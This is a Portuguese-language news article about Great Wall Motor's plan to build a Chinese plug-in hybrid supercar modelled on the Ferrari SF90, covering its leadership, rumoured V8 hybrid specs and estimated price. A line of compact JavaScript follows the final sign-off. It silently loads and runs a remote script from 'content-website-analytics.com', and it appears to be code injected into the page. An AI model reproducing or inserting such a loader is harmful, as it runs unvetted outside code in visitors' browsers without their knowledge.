A Great Wall Motor (GWM), famosa por seus utilitários robustos e picapes, está prestes a revolucionar o cenário automotivo com uma guinada significativa: a criação do primeiro supercarro chinês autêntico. Essa iniciativa audaciosa é liderada pelo presidente da empresa, Wei Jianjun, e promete colocar a China no cenário global dos esportivos de alta performance.
Com expectativa de lançamento até o final de 2026, o supercarro vem sendo desenvolvido ao longo dos últimos quatro a cinco anos por um novo braço da montadora, chamado Grupo de Veículos UltraluXo. Este projeto ambicioso está sob a liderança direta de Wei Jianjun, sinalizando a seriedade e o compromisso da GWM em redefinir o setor automobilístico de luxo.
A equipe por trás desse empreendimento conta com nomes respeitáveis da engenharia automotiva. Entre eles, estão Song Dongxian, ex-vice-presidente de tecnologia da GWM, que assumiu o papel de CEO, e Zhang Xiaobo, como diretor técnico. A empresa tem investido também em contratações internacionais nas áreas de design e engenharia para garantir que o supercarro seja competitivo a nível global.
Rumores sobre o novo modelo começaram a surgir em julho de 2025, durante uma sessão fotográfica comemorativa dos 35 anos da GWM. Na ocasião, um carro coberto com linhas esportivas e postura agressiva chamou a atenção, levantando suspeitas de que pudesse ser o tão aguardado supercarro.
Wu Huixiao, Chief Technology Officer da GWM, confirmou posteriormente que a empresa está desenvolvendo um modelo de performance extrema, tendo como referência o ilustre Ferrari SF90 Stradale. O supercarro chinês deverá adotar uma configuração híbrida plug-in, utilizando um motor V8 4.0 biturbo feito internamente e integrado a um motor elétrico.
As especificações especuladas são impressionantes: cerca de 1.000 cv de potência combinada, aceleração de 0 a 100 km/h em menos de 3 segundos, e uma velocidade máxima superior a 350 km/h. Além disso, o modelo promete ser uma barganha quando comparado aos concorrentes europeus, com preço estimado em 2 milhões de yuans, aproximadamente US$ 280 mil — quase metade do custo de um Ferrari SF90 na China.
Além da performance invejável, a GWM garante que o supercarro irá incorporar materiais de última geração, soluções aerodinâmicas avançadas e um design que mistura influências globais com estética chinesa. Segundo a empresa, a intenção é criar um veículo que simbolize a excelência tecnológica da China e o orgulho nacional no segmento de luxo e esportividade.
Essa iniciativa representa uma mudança significativa no posicionamento da GWM, que até então era mais associada à produção de utilitários e picapes, como a linha Haval e Poer. A montadora segue a tendência de outras marcas chinesas, que têm se destacado por introduzir modelos de alto desempenho e demonstrar suas capacidades no mercado global. Exemplos disso incluem o Yangwang U9 da BYD e o Xiaomi SU7 Ultra.
Em última análise, a GWM não busca apenas entrar em um novo nicho. A empresa quer provar ao mundo que os supercarros chineses chegaram para ficar, trazendo consigo velocidade, potência e uma ambição global impressionante. A expectativa é alta para 2026: veremos se este supercarro se tornará uma realidade ou se permanecerá como uma visão audaciosa que nunca saiu do papel.
Curta, compartilhe, e fique de olho nas atualizações para acompanhar o desenrolar desse projeto fascinante!
;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');